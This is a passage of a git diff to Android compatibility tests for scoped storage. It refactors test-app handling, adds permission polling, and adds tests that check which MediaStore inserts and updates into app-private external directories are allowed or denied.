 import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir;
 import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
 import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
 import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
 import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
-import static android.scopedstorage.cts.lib.TestUtils.installApp;
+import static android.scopedstorage.cts.lib.TestUtils.insertFile;
+import static android.scopedstorage.cts.lib.TestUtils.insertFileFromExternalMedia;
 import static android.scopedstorage.cts.lib.TestUtils.listAs;
 import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
 import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
+import static android.scopedstorage.cts.lib.TestUtils.resetDefaultExternalStorageVolume;
 import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.updateFile;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaData_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
 
 import static androidx.test.InstrumentationRegistry.getContext;
 
@@ -123,8 +132,16 @@
     static final String VIDEO_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".mp4";
     static final String NONMEDIA_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".pdf";
 
-    private static final TestApp TEST_APP_A = new TestApp("TestAppA",
-            "android.scopedstorage.cts.testapp.A", 1, false, "CtsScopedStorageTestAppA.apk");
+    // The following apps are installed before the tests are run via a target_preparer.
+    // See test config for details.
+    // An app with READ_EXTERNAL_STORAGE permission
+    private static final TestApp APP_A_HAS_RES = new TestApp("TestAppA",
+            "android.scopedstorage.cts.testapp.A.withres", 1, false,
+            "CtsScopedStorageTestAppA.apk");
+    // An app with no permissions
+    private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
+            "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+            "CtsScopedStorageTestAppB.apk");
 
     private static final String[] SYSTEM_GALERY_APPOPS = {
             AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
@@ -140,6 +157,11 @@
     @Before
     public void setup() throws Exception {
         pollForExternalStorageState();
+
+        assertThat(checkPermission(APP_A_HAS_RES,
+                Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+        assertThat(checkPermission(APP_B_NO_PERMS,
+                Manifest.permission.READ_EXTERNAL_STORAGE)).isFalse();
     }
 
     @After
@@ -499,8 +521,7 @@
             // Deleting the file will remove videoFile entry from database.
             assertThat(getFileRowIdFromDatabase(videoFile)).isEqualTo(-1);
 
-            installApp(TEST_APP_A, false);
-            assertThat(createFileAs(TEST_APP_A, otherAppPdfFile.getAbsolutePath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdfFile.getAbsolutePath())).isTrue();
             assertThat(getFileRowIdFromDatabase(otherAppPdfFile)).isNotEqualTo(-1);
             // Legacy app with write permission can delete the pdfFile owned by TestApp.
             assertThat(otherAppPdfFile.delete()).isTrue();
@@ -509,8 +530,7 @@
             // on a public volume, which is different from the behaviour on a primary external.
 //            assertThat(getFileRowIdFromDatabase(otherAppPdfFile)).isEqualTo(-1);
         } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherAppPdfFile.getAbsolutePath());
-            uninstallApp(TEST_APP_A);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdfFile.getAbsolutePath());
             videoFile.delete();
         }
     }
@@ -528,9 +548,8 @@
         try {
             assertThat(videoFile.createNewFile()).isTrue();
 
-            installApp(TEST_APP_A, true);
             // videoFile is inserted to database, non-legacy app can see this videoFile on 'ls'.
-            assertThat(listAs(TEST_APP_A, TestUtils.getExternalStorageDir().getAbsolutePath()))
+            assertThat(listAs(APP_A_HAS_RES, TestUtils.getExternalStorageDir().getAbsolutePath()))
                     .contains(VIDEO_FILE_NAME);
 
             // videoFile is in database, row ID for videoFile can not be -1.
@@ -542,7 +561,6 @@
             assertEquals(-1, getFileRowIdFromDatabase(videoFile));
         } finally {
             videoFile.delete();
-            uninstallApp(TEST_APP_A);
         }
     }
 
@@ -711,20 +729,18 @@
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
 
         final File fullPath = new File(TestUtils.getDcimDir(),
-                "OwnershipChange_" + IMAGE_FILE_NAME);
-        final String relativePath = "DCIM/OwnershipChange_" + IMAGE_FILE_NAME;
+                "OwnershipChange" + IMAGE_FILE_NAME);
+        final String relativePath = "DCIM/OwnershipChange" + IMAGE_FILE_NAME;
         try {
-            installApp(TEST_APP_A, false);
-            createImageEntryAs(TEST_APP_A, relativePath);
+            createImageEntryAs(APP_B_NO_PERMS, relativePath);
             assertThat(fullPath.createNewFile()).isTrue();
 
-            // We have transferred ownership away from TEST_APP_A so reads / writes
+            // We have transferred ownership away from APP_B_NO_PERMS so reads / writes
             // should no longer work.
-            assertThat(canOpenFileAs(TEST_APP_A, fullPath, false /* for write */)).isFalse();
-            assertThat(canOpenFileAs(TEST_APP_A, fullPath, false /* for read */)).isFalse();
+            assertThat(canOpenFileAs(APP_B_NO_PERMS, fullPath, false /* forWrite */)).isFalse();
+            assertThat(canOpenFileAs(APP_B_NO_PERMS, fullPath, true /* forWrite */)).isFalse();
         } finally {
-            deleteFileAsNoThrow(TEST_APP_A, fullPath.getAbsolutePath());
-            uninstallAppNoThrow(TEST_APP_A);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, fullPath.getAbsolutePath());
             fullPath.delete();
         }
     }
@@ -788,31 +804,24 @@
         final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
 
         try {
-            installApp(TEST_APP_A);
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
 
-            try {
-                allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-                // Create and write some data to the file
-                assertThat(createFileAs(TEST_APP_A, otherAppVideoFile.getPath())).isTrue();
-                try (final FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
-                    fos.write(BYTES_DATA1);
-                }
-
-                // Assert legacy system gallery can rename the file.
-                assertCanRenameFile(otherAppVideoFile, videoFile, false /* checkDatabase */);
-                assertFileContent(videoFile, BYTES_DATA1);
-                // Database was not updated.
-                assertThat(getFileRowIdFromDatabase(otherAppVideoFile)).isNotEqualTo(-1);
-                assertThat(getFileRowIdFromDatabase(videoFile)).isEqualTo(-1);
+            // Create and write some data to the file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+            try (FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
+                fos.write(BYTES_DATA1);
             }
-            finally {
-                otherAppVideoFile.delete();
-                videoFile.delete();
-                denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-            }
+
+            // Assert legacy system gallery can rename the file.
+            assertCanRenameFile(otherAppVideoFile, videoFile, false /* checkDatabase */);
+            assertFileContent(videoFile, BYTES_DATA1);
+            // Database was not updated.
+            assertThat(getFileRowIdFromDatabase(otherAppVideoFile)).isNotEqualTo(-1);
+            assertThat(getFileRowIdFromDatabase(videoFile)).isEqualTo(-1);
         } finally {
-            uninstallAppNoThrow(TEST_APP_A);
+            otherAppVideoFile.delete();
+            videoFile.delete();
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
         }
     }
 
@@ -824,24 +833,17 @@
         final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
 
         try {
-            installApp(TEST_APP_A);
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
 
-            try {
-                allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+            // Create file of other app.
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
 
-                // Create file of other app.
-                assertThat(createFileAs(TEST_APP_A, otherAppVideoFile.getPath())).isTrue();
-
-                // Check we cannot rename it.
-                assertThat(otherAppVideoFile.renameTo(videoFile)).isFalse();
-            }
-            finally {
-                otherAppVideoFile.delete();
-                videoFile.delete();
-                denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-            }
+            // Check we cannot rename it.
+            assertThat(otherAppVideoFile.renameTo(videoFile)).isFalse();
         } finally {
-            uninstallAppNoThrow(TEST_APP_A);
+            otherAppVideoFile.delete();
+            videoFile.delete();
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
         }
     }
 
@@ -853,20 +855,18 @@
         final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
 
         try {
-            installApp(TEST_APP_A);
-             // Create and write some data to the file
-             assertThat(createFileAs(TEST_APP_A, otherAppVideoFile.getPath())).isTrue();
-             try (final FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
-                 fos.write(BYTES_DATA1);
-             }
+            // Create and write some data to the file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+            try (FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
+                fos.write(BYTES_DATA1);
+            }
 
-             // Assert legacy WES can rename the file (including database updated).
-             assertCanRenameFile(otherAppVideoFile, videoFile);
-             assertFileContent(videoFile, BYTES_DATA1);
+            // Assert legacy WES can rename the file (including database updated).
+            assertCanRenameFile(otherAppVideoFile, videoFile);
+            assertFileContent(videoFile, BYTES_DATA1);
         } finally {
             otherAppVideoFile.delete();
             videoFile.delete();
-            uninstallAppNoThrow(TEST_APP_A);
         }
     }
 
@@ -911,6 +911,68 @@
         }
     }
 
+    /**
+     * Make sure inserting files from app private directories in legacy apps is allowed via DATA.
+     */
+    @Test
+    public void testInsertFromExternalDirsViaData() throws Exception {
+        verifyInsertFromExternalMediaDirViaData_allowed();
+
+        ContentValues values = new ContentValues();
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        insertFile(values);
+
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        insertFile(values);
+    }
+
+    /**
+     * Make sure inserting files from app private directories in legacy apps is not allowed via
+     * RELATIVE_PATH.
+     */
+    @Test
+    public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+        verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+        verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+    }
+
+    /**
+     * Make sure updating files to app private directories in legacy apps is allowed via DATA.
+     */
+    @Test
+    public void testUpdateToExternalDirsViaData() throws Exception {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(false);
+
+        final String androidMediaDirFile =
+                getAndroidMediaDir().toString() + "/" + System.currentTimeMillis();
+        ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+        assertNotEquals(0, updateFile(uri, values));
+
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        assertNotEquals(0, updateFile(uri, values));
+
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        assertNotEquals(0, updateFile(uri, values));
+    }
+
+    /**
+     * Make sure updating files to app private directories in legacy apps is not allowed via
+     * RELATIVE_PATH.
+     */
+    @Test
+    public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+        verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+        verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+    }
+
     private static void assertCanCreateFile(File file) throws IOException {
         if (file.exists()) {
             file.delete();
@@ -970,12 +1032,12 @@
     }
 
     private void createFileInExternalDir(File file) throws Exception {
-        Log.d(TAG, "Creating file " + file + " in the external Directory");
+        Log.d(TAG, "Creating file " + file);
         getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
     }
 
     private void deleteFileInExternalDir(File file) throws Exception {
-        Log.d(TAG, "Deleting file " + file + " from the external Directory");
+        Log.d(TAG, "Deleting file " + file);
         getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
     }
 }
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index e9d98c5..53e6e78 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -21,7 +21,12 @@
 import static androidx.test.InstrumentationRegistry.getContext;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.TestCase.assertNotNull;
+
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.fail;
 
 import android.Manifest;
@@ -41,7 +46,6 @@
 import android.os.Bundle;
 import android.os.Environment;
 import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
 import android.provider.MediaStore;
 import android.system.ErrnoException;
 import android.system.Os;
@@ -69,6 +73,7 @@
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Locale;
+import java.util.Optional;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
@@ -124,7 +129,9 @@
     public static void setupDefaultDirectories() {
         for (File dir : getDefaultTopLevelDirs()) {
             dir.mkdir();
-            assertThat(dir.exists()).isTrue();
+            assertWithMessage("Could not setup default dir [%s]", dir.toString())
+                    .that(dir.exists())
+                    .isTrue();
         }
     }
 
@@ -136,11 +143,15 @@
         uiAutomation.adoptShellPermissionIdentity("android.permission.GRANT_RUNTIME_PERMISSIONS");
         try {
             uiAutomation.grantRuntimePermission(packageName, permission);
-            // Wait for OP_READ_EXTERNAL_STORAGE to get updated.
-            SystemClock.sleep(1000);
         } finally {
             uiAutomation.dropShellPermissionIdentity();
         }
+        try {
+            pollForPermission(packageName, permission, true);
+        } catch (Exception e) {
+            fail("Exception on polling for permission grant for " + packageName + " for "
+                    + permission + ": " + e.getMessage());
+        }
     }
 
     /**
@@ -154,6 +165,12 @@
         } finally {
             uiAutomation.dropShellPermissionIdentity();
         }
+        try {
+            pollForPermission(packageName, permission, false);
+        } catch (Exception e) {
+            fail("Exception on polling for permission revoke for " + packageName + " for "
+                    + permission + ": " + e.getMessage());
+        }
     }
 
     /**
@@ -279,6 +296,147 @@
         return getResultFromTestApp(testApp, file.getPath(), actionName);
     }
 
+    public static Uri insertFileFromExternalMedia(boolean useRelative) throws IOException {
+        ContentValues values = new ContentValues();
+        String filePath =
+                getAndroidMediaDir().toString() + "/" + getContext().getPackageName() + "/"
+                        + System.currentTimeMillis();
+        if (useRelative) {
+            values.put(MediaStore.MediaColumns.RELATIVE_PATH,
+                    "Android/media/" + getContext().getPackageName());
+            values.put(MediaStore.MediaColumns.DISPLAY_NAME, System.currentTimeMillis());
+        } else {
+            values.put(MediaStore.MediaColumns.DATA, filePath);
+        }
+
+        return getContentResolver().insert(
+                MediaStore.Files.getContentUri(sStorageVolumeName), values);
+    }
+
+    public static void insertFile(ContentValues values) {
+        assertNotNull(getContentResolver().insert(
+                MediaStore.Files.getContentUri(sStorageVolumeName), values));
+    }
+
+    public static int updateFile(Uri uri, ContentValues values) {
+        return getContentResolver().update(uri, values, new Bundle());
+    }
+
+    public static void verifyInsertFromExternalPrivateDirViaRelativePath_denied() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        // Test that inserting files from Android/obb/.. is not allowed.
+        final String androidObbDir = getContext().getObbDir().toString();
+        ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidObbDir.substring(androidObbDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+
+        // Test that inserting files from Android/data/.. is not allowed.
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidDataDir.substring(androidDataDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+    }
+
+    public static void verifyInsertFromExternalMediaDirViaRelativePath_allowed() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        // Test that inserting files from Android/media/.. is allowed.
+        final String androidMediaDir = getExternalMediaDir().toString();
+        final ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidMediaDir.substring(androidMediaDir.indexOf("Android")));
+        insertFile(values);
+    }
+
+    public static void verifyInsertFromExternalPrivateDirViaData_denied() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        ContentValues values = new ContentValues();
+
+        // Test that inserting files from Android/obb/.. is not allowed.
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+
+        // Test that inserting files from Android/data/.. is not allowed.
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+    }
+
+    public static void verifyInsertFromExternalMediaDirViaData_allowed() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        // Test that inserting files from Android/media/.. is allowed.
+        ContentValues values = new ContentValues();
+        final String androidMediaDirFile =
+                getExternalMediaDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+        insertFile(values);
+    }
+
+    // NOTE: While updating, DATA field should be ignored for all the apps including file manager.
+    public static void verifyUpdateToExternalDirsViaData_denied() throws Exception {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(false);
+
+        final String androidMediaDirFile =
+                getExternalMediaDir().toString() + "/" + System.currentTimeMillis();
+        ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+        assertEquals(0, updateFile(uri, values));
+
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        assertEquals(0, updateFile(uri, values));
+
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        assertEquals(0, updateFile(uri, values));
+    }
+
+    public static void verifyUpdateToExternalMediaDirViaRelativePath_allowed()
+            throws IOException {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(true);
+
+        // Test that update to files from Android/media/.. is allowed.
+        final String androidMediaDir = getExternalMediaDir().toString();
+        ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidMediaDir.substring(androidMediaDir.indexOf("Android")));
+        assertNotEquals(0, updateFile(uri, values));
+    }
+
+    public static void verifyUpdateToExternalPrivateDirsViaRelativePath_denied()
+            throws Exception {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(true);
+
+        // Test that update to files from Android/obb/.. is not allowed.
+        final String androidObbDir = getContext().getObbDir().toString();
+        ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidObbDir.substring(androidObbDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> updateFile(uri, values));
+
+        // Test that update to files from Android/data/.. is not allowed.
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidDataDir.substring(androidDataDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> updateFile(uri, values));
+    }
+
     /**
      * Makes the given {@code testApp} open a file for read or write.
      *
@@ -734,6 +892,48 @@
     }
 
     /**
+     * Polls until {@code app} is granted or denied the given permission.
+     */
+    public static void pollForPermission(TestApp app, String perm, boolean granted)
+            throws Exception {
+        pollForPermission(app.getPackageName(), perm, granted);
+    }
+
+    /**
+     * Polls until {@code packageName} is granted or denied the given permission.
+     */
+    public static void pollForPermission(String packageName, String perm, boolean granted)
+            throws Exception {
+        pollForCondition(
+                () -> granted == checkPermission(packageName, perm),
+                "Timed out while waiting for permission " + perm + " to be "
+                        + (granted ? "granted" : "revoked"));
+    }
+
+    /**
+     * Returns true iff {@code packageName} is granted a given permission.
+     */
+    public static boolean checkPermission(String packageName, String perm) {
+        try {
+            int uid = getContext().getPackageManager().getPackageUid(packageName, 0);
+
+            Optional<ActivityManager.RunningAppProcessInfo> process = getAppProcessInfo(
+                    packageName);
+            int pid = process.isPresent() ? process.get().pid : -1;
+            return checkPermissionAndAppOp(perm, packageName, pid, uid);
+        } catch (PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    /**
+     * Returns true iff {@code app} is granted a given permission.
+     */
+    public static boolean checkPermission(TestApp app, String perm) {
+        return checkPermission(app.getPackageName(), perm);
+    }
+
+    /**
      * Asserts the entire content of the file equals exactly {@code expectedContent}.
      */
     public static void assertFileContent(File file, byte[] expectedContent) throws IOException {
@@ -912,8 +1112,16 @@
     private static boolean checkPermissionAndAppOp(String permission) {
         final int pid = Os.getpid();
         final int uid = Os.getuid();
+        final String packageName = getContext().getPackageName();
+        return checkPermissionAndAppOp(permission, packageName, pid, uid);
+    }
+
+    /**
+     * Checks if the given {@code permission} is granted and corresponding AppOp is MODE_ALLOWED.
+     */
+    private static boolean checkPermissionAndAppOp(String permission, String packageName, int pid,
+            int uid) {
         final Context context = getContext();
-        final String packageName = context.getPackageName();
         if (context.checkPermission(permission, pid, uid) != PackageManager.PERMISSION_GRANTED) {
             return false;
         }
@@ -1049,7 +1257,7 @@
      *
      * <p>This method drops shell permission identity.
      */
-    private static void setAppOpsModeForUid(int uid, int mode, @NonNull String... ops) {
+    public static void setAppOpsModeForUid(int uid, int mode, @NonNull String... ops) {
         adoptShellPermissionIdentity(null);
         try {
             for (String op : ops) {
@@ -1194,12 +1402,13 @@
     }
 
     private static boolean isProcessRunning(String packageName) {
-        try {
-            return getContext().getSystemService(
-                    ActivityManager.class).getRunningAppProcesses().stream().anyMatch(
-                            p -> packageName.equals(p.processName));
-        } catch (Exception e) {
-            return false;
-        }
+        return getAppProcessInfo(packageName).isPresent();
+    }
+
+    private static Optional<ActivityManager.RunningAppProcessInfo> getAppProcessInfo(
+            String packageName) {
+        return getContext().getSystemService(
+                ActivityManager.class).getRunningAppProcesses().stream().filter(
+                        p -> packageName.equals(p.processName)).findFirst();
     }
 }
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 37b0a2b..cb26915 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -16,26 +16,17 @@
 
 package android.scopedstorage.cts;
 
-import static android.app.AppOpsManager.permissionToOp;
-import static android.os.SystemProperties.getBoolean;
-import static android.provider.MediaStore.MediaColumns;
 import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA1;
 import static android.scopedstorage.cts.lib.TestUtils.adoptShellPermissionIdentity;
-import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
-import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
-import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameDirectory;
 import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
 import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
 import static android.scopedstorage.cts.lib.TestUtils.assertThrows;
 import static android.scopedstorage.cts.lib.TestUtils.canOpen;
-import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.canReadAndWriteAs;
 import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
-import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
-import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
 import static android.scopedstorage.cts.lib.TestUtils.dropShellPermissionIdentity;
 import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
 import static android.scopedstorage.cts.lib.TestUtils.getAndroidDir;
@@ -50,23 +41,21 @@
 import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileUri;
-import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
 import static android.scopedstorage.cts.lib.TestUtils.getMoviesDir;
 import static android.scopedstorage.cts.lib.TestUtils.getMusicDir;
 import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
-import static android.scopedstorage.cts.lib.TestUtils.getPodcastsDir;
-import static android.scopedstorage.cts.lib.TestUtils.installApp;
-import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermissions;
-import static android.scopedstorage.cts.lib.TestUtils.listAs;
 import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
 import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
 import static android.scopedstorage.cts.lib.TestUtils.pollForManageExternalStorageAllowed;
 import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
-import static android.scopedstorage.cts.lib.TestUtils.queryImageFile;
-import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
 import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaData_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaData_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalDirsViaData_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
 import static android.system.OsConstants.F_OK;
 import static android.system.OsConstants.R_OK;
 import static android.system.OsConstants.W_OK;
@@ -78,19 +67,13 @@
 import static junit.framework.Assert.assertFalse;
 import static junit.framework.Assert.assertTrue;
 
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.Manifest;
-import android.app.AppOpsManager;
 import android.app.WallpaperManager;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.database.Cursor;
 import android.net.Uri;
-import android.os.Bundle;
 import android.os.ParcelFileDescriptor;
 import android.platform.test.annotations.AppModeInstant;
 import android.provider.MediaStore;
@@ -107,13 +90,9 @@
 import org.junit.runner.RunWith;
 
 import java.io.File;
-import java.io.FileDescriptor;
 import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.util.Arrays;
-import java.util.List;
 
 /**
  * Runs the scoped storage tests on primary external storage.
@@ -123,7 +102,6 @@
 @RunWith(AndroidJUnit4.class)
 public class ScopedStorageTest {
     static final String TAG = "ScopedStorageTest";
-    static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
     static final String THIS_PACKAGE_NAME = getContext().getPackageName();
     static final int USER_SYSTEM = 0;
 
@@ -137,32 +115,25 @@
     static final String TEST_DIRECTORY_NAME = "ScopedStorageTestDirectory" + NONCE;
 
     static final String AUDIO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp3";
-    static final String PLAYLIST_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".m3u";
-    static final String SUBTITLE_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".srt";
-    static final String VIDEO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp4";
     static final String IMAGE_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".jpg";
